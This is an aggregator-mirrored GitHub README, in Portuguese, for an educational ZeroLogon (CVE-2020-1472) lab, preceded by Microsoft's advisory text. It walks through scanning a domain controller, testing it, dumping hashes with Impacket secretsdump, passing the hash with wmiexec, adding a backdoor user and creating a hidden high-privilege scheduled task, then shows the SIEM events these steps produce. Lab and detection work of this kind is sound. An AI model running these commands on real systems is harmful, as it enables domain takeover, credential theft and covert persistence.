CVE-2020-1472 PoC — Netlogon Elevation of Privilege Vulnerability

Source

https://github.com/100HnoMeuNome/ZeroLogon-CVE-2020-1472-lab

Associated Vulnerability

Title:Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)
Description:An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network. To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access. Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020). When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.

Description

Explicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472)

Readme

# ZeroLogon-CVE-2020-1472
Explicação e demonstração da vulnerabilidade ZeroLogon (CVE-2020-1472)

O objetivo deste laboratório é estritamente educacional.
A sua execução não é recomendada em ambientes de produção ou que não lhe pertençam.

## Sobre a Vulnerabilidade
**Contexto da vulnerabilidade**

Esta vulnerabilidade permite que um cyber criminoso assuma o controle de um Controlador de Domínio (DC). Isso é feito alterando ou removendo a senha de uma conta de serviço no controlador. O agente malicioso pode simplesmente causar uma negação de serviço ou assumir o controle e possuir toda a rede.
Em agosto de 2020, a Microsoft lançou um patch.

- Severidade: 10.0 (Crítica) (CVSS v3.1)

Componente afetado: Microsoft Netlogon Remote Protocol (MS-NRPC)

Versões do Windows afetas:
- Windows Server 2008 R2
- 2012 / 2012 R2
- 2016
- 2019
- Versões anteriores ao patch de agosto/setembro de 2020

## Requerimentos

Clonar os repositorios
- [Impacket](https://github.com/fortra/impacket)
- [zerologon-CVE-2020-1472](https://github.com/thatonesecguy/zerologon-CVE-2020-1472)
- [CVE-2020-1472 - Teste se o servidor alvo está vulneravel](https://github.com/SecuraBV/CVE-2020-1472)

Se for executar localmente!
- [Download do Kali Linux](https://www.kali.org/get-kali/#kali-platforms)
- [Downald do Windows Server 2008 R2 vulneravel](https://archive.org/details/windows-server-2008-ISO)
- [Virtualbox](https://www.virtualbox.org/)

Na AWS tambem é possivel com essas imagens (cuidado com o billing)

- [Windows Vulneravel - AMI da comunidade921877552404/win2016-dvwa-printnightmare-final-2022-07-04](https://console.aws.amazon.com/marketplace/search/listing/prodview-fznsw3f7mq7to?sr=0-1&ref_=beagle&applicationId=AWS-EC2-Console)
- [Kali Linux - AMI do Matketplace](https://console.aws.amazon.com/marketplace/search/listing/prodview-fznsw3f7mq7to?sr=0-1&ref_=beagle&applicationId=AWS-EC2-Console)

Extra: Uma conta no Wazuh para análise dos eventos do SIEM.
- [Wazuh Cloud com trial de 14 dias](https://console.cloud.wazuh.com)

## Como explorar

Dica: No Kali Linux, o serviço SSH vem desativado por padrão — é necessário iniciá-lo manualmente.

Antes de testar se o servidor está vulnerável, podemos utilizar o [nmap](https://nmap.org/) para ver quais portas estao abertas:

```
nmap -sS -T4 -F --open -n ip
```

<img width="588" height="340" alt="Captura de Tela 2025-10-10 às 09 34 13" src="https://github.com/user-attachments/assets/76c3be93-ce30-4b96-87c1-b1bd513a174e" />

Usando o [CVE-2020-1472 - Teste se o servidor alvo está vulneravel](https://github.com/SecuraBV/CVE-2020-1472). Execute o comando:

```
zerologon_tester.py <dc-name> <dc-ip>
```
<img width="1397" height="137" alt="Captura de Tela 2025-10-04 às 20 14 40" src="https://github.com/user-attachments/assets/38f16814-ff2e-48dd-ae3a-fd8ed869c692" />

A ferramenta secretdump é uma tooltik do [Impacket](https://github.com/fortra/impacket)

```
python3 secretsdump.py -just-dc wayne/w2008\$@192.168.1.75
```
<img width="1400" height="391" alt="Captura de Tela 2025-10-04 às 20 23 53" src="https://github.com/user-attachments/assets/ced73582-9211-4e6e-9d75-e290c96a7219" />


```
python3 wmiexec.py wayne/administrator@192.168.1.75 -hashes aad3b435b51404eeaad3b435b51404ee:088386eb6982d0c2f8960c26b1ff9e6c
```

<img width="1400" height="46" alt="Captura de Tela 2025-10-04 às 20 27 05" src="https://github.com/user-attachments/assets/f57f73bb-31af-412b-867e-c4c37cc05367" />

Se tudo ocorrer bem, conseguiremos fazer o login com o hash [What is a pass-the-hash attack?](https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/pass-the-hash-attack/)

<img width="1367" height="100" alt="Captura de Tela 2025-10-04 às 20 30 39" src="https://github.com/user-attachments/assets/fb5218f9-9386-4b20-8c9b-03451f624d45" />

Agora só criar uma persistência! Pode ser um novo usuário!

```
net user coringa Batman2025 /add
```
<img width="1367" height="176" alt="Captura de Tela 2025-10-04 às 20 36 09" src="https://github.com/user-attachments/assets/926f87b6-5639-4d4c-9f4d-6098e12f1112" />

Feito! O usuário foi criado com sucesso!

<img width="985" height="643" alt="Captura de Tela 2025-10-04 às 20 38 04" src="https://github.com/user-attachments/assets/6a57a58b-a570-4b6b-946d-0f614a0b990b" />

Também é possivel criar uma tarefa!

```
mkdir C:\Temp
```

```
schtasks /Create /TN "CriarBackupPS1" /TR "powershell -NoProfile -WindowStyle Hidden -Command \"New-Item -Path 'C:\Temp\backup.ps1' -ItemType File -Force -Value '# backup script'\"" /SC ONLOGON /RL HIGHEST /F
```
<img width="1181" height="206" alt="Captura de Tela 2025-10-10 às 10 17 17" src="https://github.com/user-attachments/assets/c6f1bb63-e0f2-4b01-8efc-1533df757c61" />


<img width="1039" height="228" alt="Captura de Tela 2025-10-10 às 10 20 33" src="https://github.com/user-attachments/assets/667a5875-b73a-4846-9a2e-7767c9682598" />

## Eventos no SIEM

É possivel ver a criaçao do usuários e os eventos relacionados ao [pass-the-hash](https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/pass-the-hash-attack) e criação de usúarios! 

<img width="1915" height="891" alt="2025-10-06_10-08-10" src="https://github.com/user-attachments/assets/c1b94efa-201b-4ce5-bdab-4d642c35d907" />

<img width="1909" height="948" alt="2025-10-06_10-09-06" src="https://github.com/user-attachments/assets/53c63885-aa8b-4d74-8c9a-b6468eabd768" />

## Referências
- [Zerologon (CVE-2020-1472): An Unauthenticated Privilege Escalation to Full Domain Privilege](https://www.crowdstrike.com/en-us/blog/cve-2020-1472-zerologon-security-advisory/)
- [O que é Zerologon?](https://www.trendmicro.com/pt_br/what-is/zerologon.html)
- [[MS-NRPC]: Netlogon Remote Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f)
- [CVE-2020-1472 Detail](https://nvd.nist.gov/vuln/detail/cve-2020-1472)
- [ZeroLogon-CVE-2020-1472 - Lab no Youtube](https://youtu.be/_Dkk2IAyF2Y)
- [Pass-the-Hash Attack](https://www.crowdstrike.com/en-us/cybersecurity-101/cyberattacks/pass-the-hash-attack/)
- [Mais sobre o Impacket](https://redcanary.com/threat-detection-report/threats/impacket/)

File Snapshot


 [4.0K]  /data/pocs/44845dabceebd0d7a921dd58bdfa2a980060148c
└── [6.1K]  README.md

1 directory, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!